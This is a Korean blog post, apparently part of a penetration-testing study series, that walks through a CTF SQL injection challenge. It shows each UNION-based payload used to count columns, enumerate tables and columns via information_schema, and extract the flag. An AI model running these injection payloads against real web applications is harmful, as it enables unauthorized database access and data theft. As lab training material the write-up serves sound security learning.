문제 탐색
<문제>
비밀 데이터를 찾아내라!
검색을 통해 데이터를 조회할 수 있고, 결과가 게시판 형태로 등장하는 문제이다.
검색 기능에서 SQL Injection을 할 수 있다고 생각했고, SQL 쿼리 구조가 어떻게 이루어져 있는지 알아보기 위해 a를 대입해보았다.
그 결과 a가 들어있는 3개의 row가 모두 출력되었다.
그리고 %를 입력했을 시, 처음 이미지와 같이 총 4개의 데이터가 출력되는 것을 확인했다.
문자 'a'의 위치가 맨 앞부분 혹은 중간 부분에 있는 ID도 모두 인식이 된다면, 검색창 쿼리는 검색어의 앞뒤로 어느 문자가 오더라도 검색이 되게끔 짜여졌을 것이라고 생각했고, 코드는 아래와 같다.
SELECT * FROM 테이블 WHERE id like '%검색어%'
따라서 '검색어'에 들어가는 문자로 SQL Injection을 진행할 수 있을 것이라고 생각했다.
문제 풀이
0. SQL Injection 포인트 찾기
1. Column 개수 찾기
2. 출력되는 column 위치 찾기
3. DB 이름 확인
4. Table 이름 확인
5. Column 이름 확인
6. 데이터 추출
1. Column 개수 찾기
SELECT * FROM 테이블 WHERE id like '%mario%' order by 4#
문제 탐색 과정에서 SQL Injection 포인트를 찾았기 때문에, 게시판과 연관된 Table이 몇개의 쿼리로 이루어져 있는지 확인했다.
검색 창에 order by 5 이상으로 넘어가면 오류로 인해 검색이 되지 않음에 따라 칼럼 개수는 4개이다.
2. 출력되는 Column 위치 찾기
SELECT * FROM 테이블 WHERE id like '%mario%' union select 1,2,3,4#
숨겨진 칼럼이 없기 때문에, 과정을 생략해도 되지만 한번 더 확인하는 차원에서 진행하였다.
select 1,2,3,4로 준 4개의 값이 각각 차례대로 입력되었다.
3. DB 이름 확인
SELECT * FROM 테이블 WHERE id like '%mario%' union select 1,2,3,database()#
database() 명령어로 'sqli_1' 이라는DB 명을 확인했다.
4. DB 이름 확인
SELECT * FROM 테이블 WHERE id like '%mario%' union select 1,2,3,table_name from information_schema.tables where table_schema = 'sqli_1'#
시스템 테이블을 조회하여 sqli_1 데이터베이스의 table명을 얻었다.
sqli_1 DB는 flag_table, plusFlag_Table, user_info 3개의 테이블로 이루어져 있었다.
문제의 정답은 flag_table에 있을 것이라고 생각하여 먼저 flag_table을 조회해보았다.
5. Column 이름 확인
SELECT * FROM 테이블 WHERE id like '%mario%' union select 1,2,3,column_name from information_schema.columns where table_name='flag_table'#
flag_table의 칼럼은 flag 하나로만 이루어져 있었다.
6. 데이터 추출
SELECT * FROM 테이블 WHERE id like '%mario%' union select 1,2,3,flag from flag_table#
flag_table의 flag 칼럼을 조회하였고, 최종적으로 flag를 얻었다.
남은 데이터 추출
'모의해킹 스터디 > Week6' 카테고리의 다른 글
[CTF] SQL Injection 2 풀이 (0) | 2024.05.28 |
---|---|
[SQL Injection] 특정 데이터만 출력하기 (1) | 2024.05.27 |
[CTF] Login Bypass3 풀이 (1) | 2024.05.26 |
[CTF] Login Bypass 2 풀이 (1) | 2024.05.26 |
[웹개발] SQL Injection 확인 페이지 개발 (1) | 2024.05.25 |